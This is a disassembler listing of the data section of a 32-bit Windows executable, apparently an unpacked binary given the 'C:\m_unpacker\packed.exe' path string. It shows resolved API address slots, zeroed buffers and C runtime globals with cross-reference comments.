dword_42EB7C	dd 1F7CD927h		; DATA XREF: sub_405EFF+B78w
					; sub_405EFF+BAEr
dword_42EB80	dd 76206853h		; DATA XREF: sub_405EFF+7A0w
					; sub_405EFF+810r
dword_42EB84	dd 77D5E310h		; DATA XREF: sub_405EFF+18Cw
					; sub_405EFF+1D2r ...
dword_42EB88	dd 76206B7Fh		; DATA XREF: sub_405EFF+7BAw
					; sub_405EFF+820r
dword_42EB8C	dd 71AB1444h		; DATA XREF: sub_405EFF+5ACw
					; sub_405EFF+6FCr ...
dword_42EB90	dd 77DD189Ah		; DATA XREF: sub_402FA4+5Ar
					; sub_405EFF+265w
dword_42EB94	dd 71AB3F8Dh		; DATA XREF: sub_40318B+6Fr
					; sub_40588C+AAr ...
dword_42EB98	dd 77DD5D20h		; DATA XREF: sub_405EFF+2A8w
					; sub_405EFF+2BCr ...
dword_42EB9C	dd 71AB1890h		; DATA XREF: sub_40275B+82r
					; sub_404771+F9r ...
dword_42EBA0	dd 77C76B34h		; DATA XREF: sub_405EFF+3D4w
					; sub_405EFF+436r
dword_42EBA4	dd 77D5E38Ch		; DATA XREF: sub_405EFF+199w
					; sub_405EFF+1DAr ...
dword_42EBA8	dd 77DDA20Bh		; DATA XREF: sub_405EFF+2EDw
					; sub_405EFF+342r ...
dword_42EBAC	dd 76F36EEBh		; DATA XREF: sub_405EFF+A19w
dword_42EBB0	dd 71AB12A7h		; DATA XREF: sub_402677+2Br
					; sub_40318B+EBr ...
dword_42EBB4	dd 71AB1746h		; DATA XREF: sub_4013EE+1BAr
					; .text:004017EEr ...
dword_42EBB8	dd 77EBA595h		; DATA XREF: sub_405EFF+4Bw
					; sub_405EFF+C2r ...
dword_42EBBC	dd 77C7531Dh		; DATA XREF: sub_405EFF+3FBw
					; sub_405EFF+453r
dword_42EBC0	dd 77D4BDCAh		; DATA XREF: sub_405EFF+165w
					; sub_405EFF+1BAr ...
dword_42EBC4	dd 71C3516Ah		; DATA XREF: sub_405EFF+987w
					; sub_40822D+72r
dword_42EBC8	dd 71AB32CAh		; DATA XREF: sub_405EFF+60Dw
					; sub_405EFF+734r
dword_42EBCC	dd 71AB5690h		; DATA XREF: sub_4013EE+23Br
					; sub_4013EE+263r ...
dword_42EBD0	dd 1F7CB8F8h		; DATA XREF: sub_405EFF+B92w
					; sub_405EFF+BBEr
dword_42EBD4	dd 77EBB1E7h		; DATA XREF: sub_405EFF+3Ew
					; sub_405EFF+BAr ...
dword_42EBD8	dd 77DD59F0h		; DATA XREF: sub_402FA4+45r
					; sub_405EFF+23Ew ...
dword_42EBDC	dd 71AB5DE2h		; DATA XREF: sub_404771+9Er
					; sub_405C73+74r ...
dword_42EBE0	dd 71AB3ECEh		; DATA XREF: sub_404771+89r
					; sub_405C73+62r ...
dword_42EBE4	dd 76204E4Dh		; DATA XREF: sub_403520+4DCr
					; sub_405EFF+801w
dword_42EBE8	dd 0			; DATA XREF: sub_405EFF+112w
dword_42EBEC	dd 1F7D886Ah		; DATA XREF: sub_405EFF+B5Ew
					; sub_405EFF+B99r
dword_42EBF0	dd 71AB12F8h		; DATA XREF: sub_4013EE+1C8r
					; .text:004017FCr ...
dword_42EBF4	dd 77C76551h		; DATA XREF: sub_405EFF+3E1w
					; sub_405EFF+443r
dword_42EBF8	dd 77C729E2h		; DATA XREF: sub_405EFF+422w
					; sub_405EFF+46Br
dword_42EBFC	dd 77C7212Fh		; DATA XREF: sub_405EFF+3EEw
					; sub_405EFF+44Br
dword_42EC00	dd 71AB1AF4h		; DATA XREF: sub_4013EE+221r
					; sub_4013EE+249r ...
dword_42EC04	dd 77D5E303h		; DATA XREF: sub_405EFF+1A6w
					; sub_405EFF+1E2r ...
dword_42EC08	dd 71C4576Ch		; DATA XREF: sub_405EFF+97Aw
					; sub_405EFF+9CEr ...
dword_42EC0C	dd 77D4702Fh		; DATA XREF: sub_405EFF+158w
					; sub_405EFF+1ADr ...
dword_42EC10	dd 77E6C0E3h		; DATA XREF: sub_403AC8+4r
					; sub_405EFF+8Cw ...
dword_42EC14	dd 71AB1ED3h		; DATA XREF: sub_40318B+2C2r
					; sub_40588C+2DAr ...
dword_42EC18	dd 71B2A381h		; DATA XREF: sub_405EFF+ABAw
					; sub_405EFF+AD6r
dword_42EC1C	dd 77DDA595h		; DATA XREF: sub_405EFF+2C2w
					; sub_408849+55r
dword_42EC20	dd 77DD22EAh		; DATA XREF: sub_405EFF+224w
					; sub_405EFF+25Fr
dword_42EC24	dd 773F97B0h		; DATA XREF: sub_405EFF+B21w
dword_42EC28	dd 76D67A29h		; DATA XREF: sub_405EFF+A63w
					; sub_408323+CEr
dword_42EC2C	dd 76D674FAh		; DATA XREF: sub_405EFF+A56w
					; sub_405EFF+A5Dr ...
dword_42EC30	dd 71AB3C22h		; DATA XREF: sub_4013EE+18Dr
					; .text:004017C1r ...
dword_42EC34	dd 71AB2BBFh		; DATA XREF: sub_405EFF+61Aw
					; sub_405EFF+73Cr ...
dword_42EC38	dd 1F7BA3A9h		; DATA XREF: sub_405EFF+B6Bw
					; sub_405EFF+BA6r
dword_42EC3C	dd 71AB401Ch		; DATA XREF: sub_40226C+1Fr
					; sub_4027F8+86r ...
dword_42EC40	dd 71C214BAh		; DATA XREF: sub_405EFF+939w
					; sub_405EFF+9A6r ...
dword_42EC44	dd 71AB868Dh		; DATA XREF: sub_404771+13Ar
					; sub_405C73+94r ...
dword_42EC48	dd 71AB1A6Dh		; DATA XREF: sub_4013EE:loc_401666r
					; sub_4013EE+28Cr ...
dword_42EC4C	dd 71AB155Ah		; DATA XREF: sub_40275B+4Cr
					; sub_404771+B7r ...
dword_42EC50	dd 71B22C25h		; DATA XREF: sub_401000+B0r
					; sub_401000+C8r ...
dword_42EC54	dd 71AB5A01h		; DATA XREF: sub_40318B+4Fr
					; sub_405EFF+4C8w ...
dword_42EC58	dd 71B2ACCBh		; DATA XREF: sub_405EFF+AA0w
					; sub_405EFF+AC1r
dword_42EC5C	dd 77E78C17h		; DATA XREF: sub_405EFF+31w
					; sub_405EFF+ADr ...
dword_42EC60	dd 77D49A11h		; DATA XREF: sub_405EFF+17Fw
					; sub_405EFF+1CAr
		align 8
dword_42EC68	dd 76D62A37h		; DATA XREF: sub_405EFF+8AFw
					; sub_405EFF+8C3r ...
dword_42EC6C	dd 77E6CBF9h		; DATA XREF: sub_405EFF+99w
					; sub_405EFF+EAr ...
dword_42EC70	dd 0			; DATA XREF: sub_405EFF:loc_405FFDw
					; sub_405EFF+12Bw ...
dword_42EC74	dd 0			; DATA XREF: sub_405EFF+126w
					; sub_406AE8+1Cr
dword_42EC78	dd 0			; DATA XREF: sub_405EFF:loc_4060FAw
					; sub_406AE8:loc_406B30r
dword_42EC7C	dd 0			; DATA XREF: sub_405EFF+1F6w
					; sub_406AE8+50r
dword_42EC80	dd 0			; DATA XREF: sub_405EFF:loc_40618Fw
					; sub_405EFF:loc_4061D4w ...
dword_42EC84	dd 0			; DATA XREF: sub_405EFF+3A6w
					; sub_406AE8+84r
dword_42EC88	dd 0			; DATA XREF: sub_405EFF:loc_40638Bw
					; sub_406AE8:loc_406B98r
dword_42EC8C	dd 0			; DATA XREF: sub_405EFF+487w
					; sub_406AE8+B8r
dword_42EC90	dd 0			; DATA XREF: sub_405EFF:loc_40665Cw
					; sub_406AE8:loc_406BCCr
dword_42EC94	dd 0			; DATA XREF: sub_405EFF+758w
					; sub_406AE8+ECr
dword_42EC98	dd 0			; DATA XREF: sub_405EFF:loc_406747w
					; sub_405EFF+877w ...
dword_42EC9C	dd 0			; DATA XREF: sub_405EFF+872w
					; sub_406AE8+120r
dword_42ECA0	dd 0			; DATA XREF: sub_405EFF:loc_4067DBw
					; sub_406AE8:loc_406C34r ...
dword_42ECA4	dd 0			; DATA XREF: sub_405EFF+8D7w
					; sub_406AE8+154r
dword_42ECA8	dd 0			; DATA XREF: sub_405EFF:loc_4068E6w
					; sub_406AE8:loc_406C68r ...
dword_42ECAC	dd 0			; DATA XREF: sub_405EFF+9E2w
					; sub_406AE8+188r
dword_42ECB0	dd 0			; DATA XREF: sub_405EFF:loc_406930w
					; sub_406AE8:loc_406C9Cr
dword_42ECB4	dd 0			; DATA XREF: sub_405EFF+A2Cw
					; sub_406AE8+1BCr
dword_42ECB8	dd 0			; DATA XREF: sub_405EFF:loc_40697Aw
					; sub_406AE8:loc_406CD0r
dword_42ECBC	dd 0			; DATA XREF: sub_405EFF+A76w
					; sub_406AE8+1F0r
dword_42ECC0	dd 0			; DATA XREF: sub_405EFF:loc_4069EEw
					; sub_406AE8:loc_406D04r
dword_42ECC4	dd 0			; DATA XREF: sub_405EFF+AEAw
					; sub_406AE8+224r
dword_42ECC8	dd 0			; DATA XREF: sub_405EFF:loc_406A38w
					; sub_406AE8:loc_406D38r
dword_42ECCC	dd 0			; DATA XREF: sub_405EFF+B34w
					; sub_406AE8+258r
dword_42ECD0	dd 0			; DATA XREF: sub_405EFF:loc_406AD6w
					; sub_406AE8:loc_406D6Cr
dword_42ECD4	dd 0			; DATA XREF: sub_405EFF+BD2w
					; sub_406AE8+28Cr
		align 10h
; char byte_42ECE0[]
byte_42ECE0	db 204h	dup(0)		; DATA XREF: sub_40703D+6Ao
; char byte_42EEE4[]
byte_42EEE4	db 5Ch dup(0)		; DATA XREF: sub_4074FB:loc_407618o
					; sub_4074FB+131o ...
; char byte_42EF40[]
byte_42EF40	db 204h	dup(0)		; DATA XREF: sub_40822D+7Co
					; sub_40822D+A5o
; char byte_42F144[]
byte_42F144	db 5Ch dup(0)		; DATA XREF: sub_4080F9:loc_40821Bo
					; sub_4080F9+12Do
; char byte_42F1A0[]
byte_42F1A0	db 204h	dup(0)		; DATA XREF: sub_4077B6+4Bo
					; sub_4077B6+7Do ...
; char byte_42F3A4[]
byte_42F3A4	db 200h	dup(0)		; DATA XREF: sub_407A65+61o
					; sub_407A65+88o ...
; char byte_42F5A4[]
byte_42F5A4	db 204h	dup(0)		; DATA XREF: sub_4073D2+33o
					; sub_4073D2+50o ...
; char byte_42F7A8[]
byte_42F7A8	db 18h dup(0)		; DATA XREF: sub_408401+32o
; char Str1[]
Str1		dd 0			; DATA XREF: sub_402C6B+Ao
					; sub_402C6B+44r ...
		dd 5 dup(0)
dword_42F7D8	dd 0			; DATA XREF: sub_402C6B+60r
					; sub_409557+8B5r
		dd 220h	dup(0)
dword_43005C	dd 0B9h	dup(0)		; DATA XREF: .data:off_41D3F4o
					; .data:0041DAA8o
dword_430340	dd 0			; DATA XREF: sub_4027F8+A5r
					; sub_402C6B+2Do ...
		dd 7Fh dup(0)
dword_430540	dd 0			; DATA XREF: sub_411C3A+41w
					; sub_411D75+40w ...
dword_430544	dd 0			; DATA XREF: sub_4027F8:loc_40283Fr
					; sub_4027F8+7Cr ...
dword_430548	dd 0			; DATA XREF: sub_40F002+164w
					; sub_40FEA9+AEw ...
dword_43054C	dd 0			; DATA XREF: sub_403DCB+Cr
					; sub_404771+7Ew ...
dword_430550	dd 0			; DATA XREF: sub_40EB3A+11Ew
					; sub_40ED21+53r ...
dword_430554	dd 0			; DATA XREF: sub_4022E3+122w
					; sub_4022E3+242w ...
byte_430558	db 0			; DATA XREF: sub_409277+91o
					; sub_409557+2BB7r ...
		align 4
		dd 547Dh dup(0)
dword_445750	dd 0BE60h dup(0)	; DATA XREF: .data:off_41FCD4o
dword_4750D0	dd 1Ch			; DATA XREF: sub_4021A2:loc_402210r
					; WinMain(x,x,x,x)+3Dw	...
		align 8
dword_4750D8	dd 0			; DATA XREF: WinMain(x,x,x,x):loc_409189o
; char byte_4750DC[]
byte_4750DC	db 80h dup(0)		; DATA XREF: WinMain(x,x,x,x)+509o
					; WinMain(x,x,x,x)+5C2o ...
; char byte_47515C[]
byte_47515C	db 40h dup(0)		; DATA XREF: WinMain(x,x,x,x)+520o
; char byte_47519C[]
byte_47519C	db 90h dup(0)		; DATA XREF: WinMain(x,x,x,x)+537o
dword_47522C	dd 0			; DATA XREF: WinMain(x,x,x,x)+52Bw
					; WinMain(x,x,x,x)+5D9w ...
dword_475230	dd 0			; DATA XREF: WinMain(x,x,x,x)+54Aw
		align 10h
byte_475240	db 0			; DATA XREF: sub_4093DF+28r
					; sub_4093DF+30o
		align 4
; char byte_475244
byte_475244	db 0			; DATA XREF: WinMain(x,x,x,x):loc_409213r
					; WinMain(x,x,x,x)+609o
		align 4
; char byte_475248[]
byte_475248	db 4 dup(0)		; DATA XREF: WinMain(x,x,x,x)+61Fo
; char byte_47524C[]
byte_47524C	db 4 dup(0)		; DATA XREF: WinMain(x,x,x,x)+631o
dword_475250	dd 0			; DATA XREF: WinMain(x,x,x,x)+576w
					; WinMain(x,x,x,x)+58Dr ...
dword_475254	dd 0			; DATA XREF: WinMain(x,x,x,x)+50Ew
					; sub_409557+828r
; char byte_475258[]
byte_475258	db 4 dup(0)		; DATA XREF: sub_409557+52BAo
					; ___crtLCMapStringA+57o ...
dword_47525C	dd 0			; DATA XREF: sub_40EDBE:loc_40EDDFr
					; sub_40EEAD+54r ...
dword_475260	dd 0			; DATA XREF: sub_40EDBEr
					; sub_40EEAD+37r ...
dword_475264	dd 0			; DATA XREF: sub_40EDEE+1Ar
					; sub_40F002+83o
dword_475268	dd 0			; DATA XREF: sub_40EDBE:loc_40EDD2r
					; sub_40F002+11Bw
; char byte_47526C[]
byte_47526C	db 34h dup(0)		; DATA XREF: sub_40EEAD+13o
					; sub_40F002:loc_40F13Fo
; int dword_4752A0
dword_4752A0	dd 0			; DATA XREF: sub_40EEAD+CDr
					; sub_40EEAD+ECr ...
		align 10h
dword_4752B0	dd 0			; DATA XREF: sub_40F1B7+146r
		align 8
; char byte_4752B8[]
byte_4752B8	db 18h dup(0)		; DATA XREF: sub_40FAA1+8Do
dword_4752D0	dd 0			; DATA XREF: sub_411E82+16o
					; sub_411EA1+19o
dword_4752D4	dd 7Ah dup(0)		; DATA XREF: sub_411E35+3Do
byte_4754BC	db 0			; DATA XREF: sub_4102EE+6Ar
					; sub_4102EE+98w
		align 10h
		dd 0
; char byte_4754C4[]
byte_4754C4	db 3Ch dup(0)		; DATA XREF: sub_410D66+47o
dword_475500	dd 0			; DATA XREF: __fpmath+Aw
		align 8
dword_475508	dd 0			; DATA XREF: _time+5Er	_time+A4w
		align 10h
word_475510	dw 0			; DATA XREF: _time+55r	_time+9Ao
word_475512	dw 0			; DATA XREF: _time+48r
		db 2 dup(0)
word_475516	dw 0			; DATA XREF: _time+3Br
word_475518	dw 0			; DATA XREF: _time+2Er
word_47551A	dw 0			; DATA XREF: _time+21r
		align 10h
dword_475520	dd 0			; DATA XREF: _strtok+3Br _strtok+91w
dword_475524	dd 0			; DATA XREF: sub_412EA4+2Bw
					; _strtoxl+1B9w ...
dword_475528	dd 0			; DATA XREF: sub_412EA4+35w
					; __close:loc_415E98w ...
dword_47552C	dd 0			; DATA XREF: __sopen+13Ar
dword_475530	dd 0A28h		; DATA XREF: start+52w
dword_475534	dd 501h			; DATA XREF: start+49w
dword_475538	dd 5			; DATA XREF: start+3Ew
dword_47553C	dd 1			; DATA XREF: start+30w
dword_475540	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_408F0Dr
					; __setargv+91w
dword_475544	dd 480B00h		; DATA XREF: WinMain(x,x,x,x)+2FEr
					; WinMain(x,x,x,x)+31Er ...
		dd 0
; void *dword_47554C
dword_47554C	dd 480A80h		; DATA XREF: __setenvp+44w _getenv+9r	...
dword_475550	dd 0			; DATA XREF: ___crtsetenv+36r
dword_475554	dd 0			; DATA XREF: _getenv+16r
					; ___wtomb_environ+4r ...
		dd 0
off_47555C	dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_475564	db 0			; DATA XREF: _doexit+2Dw
					; ___endstdio+5r
		align 4
dword_475568	dd 0			; DATA XREF: _doexit+27w
dword_47556C	dd 0			; DATA XREF: _doexit+4r _doexit+8Bw
; void *Memory
Memory		dd 0			; DATA XREF: start+84w
					; __setenvp:loc_4176ACr ...
		align 8
dword_475578	dd 0			; DATA XREF: __amsg_exitr
					; _fast_error_exitr ...
dword_47557C	dd 0			; DATA XREF: _mallocr
					; _realloc:loc_412DC4r	...
dword_475580	dd 0			; DATA XREF: __callnewhr
dword_475584	dd 0			; DATA XREF: __cftoe+11r __cftof+1Ar ...
byte_475588	db 0			; DATA XREF: __cftoe+3r __cftoe+98r ...
		align 4
dword_47558C	dd 0			; DATA XREF: __cftof+11r __cftog+21w ...
byte_475590	db 0			; DATA XREF: __cftog+51w
		align 4
dword_475594	dd 1			; DATA XREF: ___crtLCMapStringA+28r
					; ___crtLCMapStringA+4Cw ...
		align 10h
dword_4755A0	dd 0			; DATA XREF: _tolower+4r _tolower+9Dr	...
		align 10h
dword_4755B0	dd 0			; DATA XREF: _mbstowcs+61r
					; _mbstowcs+BFr ...
		align 8
dword_4755B8	dd 1			; DATA XREF: __setmbcp:loc_416F13r
					; _getSystemCP+4w ...
dword_4755BC	dd 0			; DATA XREF: __stbuf+37r
		dd 0
dword_4755C4	dd 0			; DATA XREF: __XcptFilter+3Ar
					; __XcptFilter+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_41776Ao
					; .data:off_47555Co
		align 4
		dd 3Ah dup(0)
dword_4756CC	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+2r
					; ___crtGetEnvironmentStringsA+23w ...
dword_4756D0	dd 0			; DATA XREF: __FF_MSGBANNER+21r
dword_4756D4	dd 0			; DATA XREF: __openfile+154w
					; __stbuf:loc_41722Bw ...
dword_4756D8	dd 1			; DATA XREF: ___crtGetStringTypeA+26r
					; ___crtGetStringTypeA:loc_418837w
dword_4756DC	dd 0			; DATA XREF: __openfile+7r
word_4756E0	dw 0			; DATA XREF: __fltout+1Ao __fltout+46r
byte_4756E2	db 0			; DATA XREF: __fltout+39r
		align 4
dword_4756E4	dd 7 dup(0)		; DATA XREF: __fltout+52o
dword_475700	dd 0			; DATA XREF: __fltout+40w __fltout+5Co
dword_475704	dd 0			; DATA XREF: __fltout+4Dw
dword_475708	dd 0			; DATA XREF: __fltout+31w
dword_47570C	dd 0			; DATA XREF: __fltout+52w
dword_475710	dd 0			; DATA XREF: __tzset+11w __tzset+63w ...
		align 8
dword_475718	dd 0			; DATA XREF: __tzset+33o __tzset+46r
dword_47571C	dd 10h dup(0)		; DATA XREF: __tzset+C1o
word_47575C	dw 0			; DATA XREF: __isindst+A8r
word_47575E	dw 0			; DATA XREF: __tzset+54r __isindst+DBr ...
word_475760	dw 0			; DATA XREF: __isindst+CAr
word_475762	dw 0			; DATA XREF: __isindst+D3r
					; __isindst:loc_41983Ar
word_475764	dw 0			; DATA XREF: __isindst+C0r
word_475766	dw 0			; DATA XREF: __isindst+B8r
word_475768	dw 0			; DATA XREF: __isindst+B0r
word_47576A	dw 0			; DATA XREF: __isindst+9Er
dword_47576C	dd 0			; DATA XREF: __tzset+4Br
dword_475770	dd 10h dup(0)		; DATA XREF: __tzset+FBo
word_4757B0	dw 0			; DATA XREF: __isindst+46r
word_4757B2	dw 0			; DATA XREF: __tzset:loc_419561r
					; __isindst+78r ...
word_4757B4	dw 0			; DATA XREF: __isindst+67r
word_4757B6	dw 0			; DATA XREF: __isindst+70r
					; __isindst:loc_4197CCr
word_4757B8	dw 0			; DATA XREF: __isindst+5Dr
word_4757BA	dw 0			; DATA XREF: __isindst+55r
word_4757BC	dw 0			; DATA XREF: __isindst+4Dr
word_4757BE	dw 0			; DATA XREF: __isindst+3Er
dword_4757C0	dd 0			; DATA XREF: __tzset+80r
; void *dword_4757C4
dword_4757C4	dd 0			; DATA XREF: __tzset+132r
					; __tzset:loc_419636r ...
dword_4757C8	dd 0			; DATA XREF: ___tzsetr	___tzset+Ew
dword_4757CC	dd 0			; DATA XREF: ___crtMessageBoxA+3r
					; ___crtMessageBoxA+2Ew ...
dword_4757D0	dd 0			; DATA XREF: ___crtMessageBoxA+43w
					; ___crtMessageBoxA:loc_419AC5r
dword_4757D4	dd 0			; DATA XREF: ___crtMessageBoxA+4Aw
					; ___crtMessageBoxA+60r
dword_4757D8	dd 0			; DATA XREF: __sopen+3Fr
dword_4757DC	dd 0			; DATA XREF: ___crtCompareStringA+28r
					; ___crtCompareStringA+48w ...
dword_4757E0	dd 344968h		; DATA XREF: _flsall:loc_415F8Dr
					; __getstream+14r ...
		dd 7 dup(0)
dword_475800	dd 400h	dup(0)		; DATA XREF: .data:off_4286D0o
					; .data:004286D8o
; size_t NumOfElements
NumOfElements	dd 200h			; DATA XREF: _flsall+9r _flsall+56r ...
		dd 7 dup(0)
dword_476820	dd 480EF0h		; DATA XREF: __flsbuf+B1r __filbuf+75r ...
dword_476824	dd 3Fh dup(0)		; DATA XREF: __ioinit+92o
dword_476920	dd 20h			; DATA XREF: __close+8r __read+Cr ...
dword_476924	dd 4E4h			; DATA XREF: __setmbcp+14r
					; __setmbcp+65w ...
		align 10h
dword_476930	dd 3 dup(0)		; DATA XREF: __setmbcp+123o
					; __setmbcp+171o ...
dword_47693C	dd 0			; DATA XREF: __setmbcp+108w
					; __setmbcp+15Dw ...
byte_476940	db 0			; DATA XREF: _setSBUpLow:loc_4170E3w
					; _setSBUpLow:loc_417100w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_476A40	db 0			; DATA XREF: __setmbcp+5Co
					; __setmbcp+AFo ...
byte_476A41	db 0			; DATA XREF: __splitpath+5Dr
					; __setmbcp+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_476B44	dd 0			; DATA XREF: __setmbcp+6Ew
					; __setmbcp+12Bw ...
dword_476B48	dd 10h			; DATA XREF: ___sbh_heap_init+32w
					; ___sbh_alloc_new_region+5r ...
dword_476B4C	dd 0			; DATA XREF: ___sbh_free_block+239r
					; ___sbh_free_block+259r ...
dword_476B50	dd 340650h		; DATA XREF: ___sbh_heap_init+2Dw
					; ___sbh_free_block+310w ...
; void *Dst
Dst		dd 0			; DATA XREF: ___sbh_heap_init:loc_413E97w
					; ___sbh_free_block+22Cr ...
dword_476B58	dd 1			; DATA XREF: ___sbh_heap_init+24w
					; ___sbh_find_blockr ...
dword_476B5C	dd 340650h		; DATA XREF: ___sbh_heap_init+15w
					; ___sbh_find_block+8r	...
dword_476B60	dd 340000h		; DATA XREF: __heap_alloc+28r
					; _free+21r ...
dword_476B64	dd 142340h		; DATA XREF: start+7Aw	__wincmdln+Fr ...
dword_476B68	dd 1			; DATA XREF: __setenvp+ADw _getenvr
dword_476B6C	dd 1			; DATA XREF: ___initmbctabler
					; ___initmbctable+11w ...
dword_476B70	dd 0			; DATA XREF: _doexit+3Er
dword_476B74	dd 0			; DATA XREF: _doexit+35r _doexit+57r
_data		ends

; Section 4. (virtual address 00077000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00076C00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 477000h
		align 2000h
_idata2		ends


		end start